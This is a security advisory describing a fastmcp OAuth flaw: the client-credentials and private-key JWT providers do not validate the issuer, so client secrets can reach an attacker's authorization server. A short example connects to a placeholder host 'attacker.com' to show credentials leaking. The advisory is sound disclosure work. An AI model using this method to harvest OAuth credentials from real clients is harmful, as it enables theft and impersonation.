fastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer.
Details
When fastmcp connects to an MCP server with OAuth client credentials:
_bind() calls super().init(server_url=mcp_url, ...) without issuer=
The underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it.
Example vulnerable usage:
auth = ClientCredentialsOAuthProvider(
client_id="my-client-id",
client_secret="my-client-secret",
)
async with Client("https://attacker.com/mcp", auth=auth) as client:
# Client credentials get sent to attacker's auth server if attacker's MCP
# server advertises it in RFC 9728 metadata
await client.list_tools()
Attacker receives client_id and client_secret in Basic auth header
Attacker can now impersonate the client against the legitimate authorization server
The vulnerability exists because fastmcp does not validate that the authorization
server advertised by the MCP server matches an expected issuer.
Impact
Severity: Medium-High
Any application using fastmcp's M2M OAuth providers (ClientCredentialsOAuthProvider,
PrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs
is vulnerable to credential disclosure and client impersonation.
Affected parties:
Prefect Cloud users running agents with fastmcp that connect to user-provided MCP servers
Any deployment using fastmcp's M2M auth to connect to MCP servers where the URL is
attacker-controllable or the server is compromised
Attack scenarios:
User misconfigures MCP server URL in Prefect agent config
MCP server URL obtained from user input without validation